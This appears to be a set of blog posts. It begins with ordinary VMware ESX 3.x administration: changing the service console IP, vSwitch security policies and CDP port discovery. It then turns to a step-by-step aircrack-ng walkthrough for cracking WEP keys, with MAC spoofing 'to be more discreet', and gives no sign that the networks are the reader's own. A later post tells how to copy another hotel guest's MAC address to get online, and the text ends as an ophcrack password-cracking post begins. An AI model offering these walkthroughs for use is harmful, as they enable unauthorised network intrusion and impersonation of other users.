If you want to change the IP address of the service console in ESX 3.x you can using a command in the service console and if you are like me and know that console is most powerful thing to know about ESX then read on.

To change the IP address of the ESX 3.x host, you need to change the configuration of the vswif. By default this is vswif0 and this is assumed in this document. Login to the service console with root permissions, either by using root or doing a su - to get the permissions.

Once in the service console runt the command "esxcfg-vswif -d vswif0". This command deletes the existing vswif0. Don't worry if you get a message about nothing to flush. Then you need to run the command to change the ip address, subnet mask and broadcast address. They are also specified in that order when the command is given. An example command is below.

"esxcfg-vswif -a vswif0 -p Service\ Console -i 10.1.1.1 -n 255.255.255.0 -b 10.1.1.255"

In this command the -a switch is to add a vswif, the \ in the Service\ Console is deliberate, the -i is the ip address, the -n is the netmask and the -b is the broadcast address.

You now need to change your default gateway, you can do this by editing the network file located at /etc/sysconfig/network. To do this at the command prompt, follow the steps below.

"cd /etc/sysconfig"
"nano network"
Then while in the nano editor, go to the location of the default gateway using the arrow keys.
Change the default gateway to your liking.
Hit Ctrl+X and Y to save

At this point you can run some commands to restart the vmware management, but I prefer to restart the server and will recommend you do that. Note that after you do change the main IP to your box you will have to change URL startup screen:

VMWare implementations can be done incorrectly if you just do your typical next > next > next .... reboot, very few people take the time to secure their VMware ESX infrastructure and that is when I recomend to them to get started a great little pice of freeware called Configcheck from Tripwire. The only thing missing in it is report generation in a PDF or HTML format but other than that if you have a VMWare ESX 3.x infrastructre use this great tool to give it a quick check. So for all you out there implementing ESX environments remember to lock down your system.

One of the things I like about VMWare ESX is the security in their Layer 2 Virtual Swicthes. They will not permit them be joined together so loops is not an issue and they let you apply 3 policy settings to secure the vSwitches this are:

• Promiscuous Mode
• MAC Address Changes
• Forged Transmit

This settings will prevent the virtual machines that use the switch from acting as a sniffer, changing their mac address or forging traffic with fake mac address thous protecting the rest of the virtual machines in the case of a compromise of a VM from it being used to conduct Man In the Middle Attacks, ARP Poison Attacks or being used to sniff traffic. To set the Policy on Reject on a virtual switch it can be done both from the Service Console or thru the VI Client. On the VI Client:

1. Log into the VMware VI Client and select the server from the inventory panel.The hardware configuration page for this server appears.
2. Click the Configuration tab, and click Networking.
3. Click Properties for the vSwitch whose Layer 2 Security policy you want to edit.
4. In the Properties dialog box for the vSwitch, click the Ports tab.
5. Select the vSwitch item and click Edit.
6. In the Properties dialog box for the vSwitch, click the Security tab.
7. Select reject on the drpdown boxes for all 3 Policy Exceptions.
8. Click OK

From the CLI just SSH into the Server and su to have root privilege and run

• vmware-vim-cmd hostsvc/net/vswitch_setpolicy --securepolicy-macchange=false
• vmware-vim-cmd hostsvc/net/vswitch_setpolicy --securepolicy-forgedxmit=false

Promiscuous is already set to reject by default.

If you've ever had to manually trace the multiple cat5e cables from ESX hosts to network switches you probably were not happy about it. The good news is that if you have ESX 3.5 and Cisco switches you can identify the switch ports that each VMNic is connected into by using Cisco Discovery Protocol (CDP). You won't even need access to the network switch and get all port information from the VI Client.

First we need to configure the host by logging into the Service Console as root (either by SSH, remote console, or physical access).
Next we need to verify current CDP settings for the desired virtual switch (vSwitch1 will be used in this post)
Type:
[root@server root]#esxcfg-vswitch -b vSwitch1 down (The output of down indicates CDP is currently not implemented)

Now set the CDP status for a given vSwitch (possible values are down, listen, advertise, or both) by typing:
[root@server root]#esxcfg-vswitch -B both vSwitch1

Verify the new settings by typing:
[root@server root]#esxcfg-vswitch -b vSwitch1 both

Be sure to repeat the commands for every vSwitch on the ESX host. Now using the VI Client you can go into the "Configuration" tab of a host and select "Networking" on the left pane. To the right of each vSwitch you find a comment looking box colored in a light blue. Clicking on the icon will brind up the switch port information.

Now lets say you want to extract CDP information for all VMNics at once. You can achieve this by going to the command line and typing:
[root@server root]#vmware-vim-cmd hostsvc/net/query_networkhint

Leave feedback in the comments. I would love to answer your questions if any arise.

The first thing we are going to do is install BackTrack 3 or 4 onto an SD card or flash drive or cd/dvd rom so we can boot from it without having to mess up the currently installed OS. I am not going to go into the details of how to do that here, as it is readily available all over the internet.

After you have booted into BackTrack, we are ready for the fun part. The first thing we will do is shutdown our wifi card. In the terminal:

ifconfig wlan0 (yours may be different i.e. ath0 or rausb0) down

Next we want to change the MAC address of your wireless card to make things easier later and help you be more discreet:

macchanger --mac 00:11:22:33:44:55 wlan0

Next we want to bring it back up, but in monitor mode (this enables the card to capture packets without associating with the AccessPoint) :

airmon-ng start wlan0

You should see that a new interface called mon0 was created. That is the interface we are going to use for the rest of our cracking. Next:

airodump-ng mon0

This will list all of the wifi signals your card is picking up. There are two things you are going to want to write down: the BSSID and the Channel (CH), and also make sure the Encryption (ENC) is WEP. Or, if you don’t want to write them down, just open a new shell and leave that one open.

Now press

ctrl+c

to stop airodump-ng.

Open a new console (if you haven’t already) and type:

airodump-ng --channel x --bssid y -w filename mon0

Where x and y are the channel and bssid that you wrote down, and filename is whatever you want the prefix of the output files to be. I usually set the filename to something along the lines of the router name, that way when I’m searching through my cracked WEP files I know whats what.

Now leave that running and open another shell and type:

aireplay-ng --arpreplay -b [Access Point's MAC] -h 00:11:22:33:44:55 mon0

Now leave that running and open yet another shell, and type:

aireplay-ng --deauth 5 -c 00:11:22:33:44:55 -a [Access Point's MAC] mon0

Now in that same window type:

aircrack-ng filename*.cap

Where filename is whatever you entered earlier. And there you go! You should now have the WEP key. Leave feedback in the comments. I would love to answer your questions if any arise.

Well here we go again being curious..... Here is the scenario, I am in a hotel room that has free Wifi (wireless for all those that are not in the know) on a laptop that's running Windows XP (no Linux required for this one) and decide that nothing good can come from this. So I decide well I don't want to give out my MAC address but I'll use somebody elses. Why not? I scan the network using Zenmap because I'm using Windows XP; I'm going with the GUI. After getting a MAC address that I like oh 11:22:33:44:55 sounds good, I then change my MAC address using the MAC address changer (located online for free). Once that is ready I connect to the Internet, accept the agreement from the hotel room, and then receive an IP from the hotel. I'm in!

Here is the scenario, Joe the Admin just dropped a server from the domain to change the name for example and after the restart he tries to login only to find out he can't login. HMMMMM. Another scenario, grandma just bought a new laptop/PC and for whatever reason (AGE) can't remember her password and changing it. There are two ways of getting around this situation; one is using ophcrack w/ rainbow tables and try to crack the password which unless you have a great rainbow table and a strong processor on the PC might take quite a bit to crack.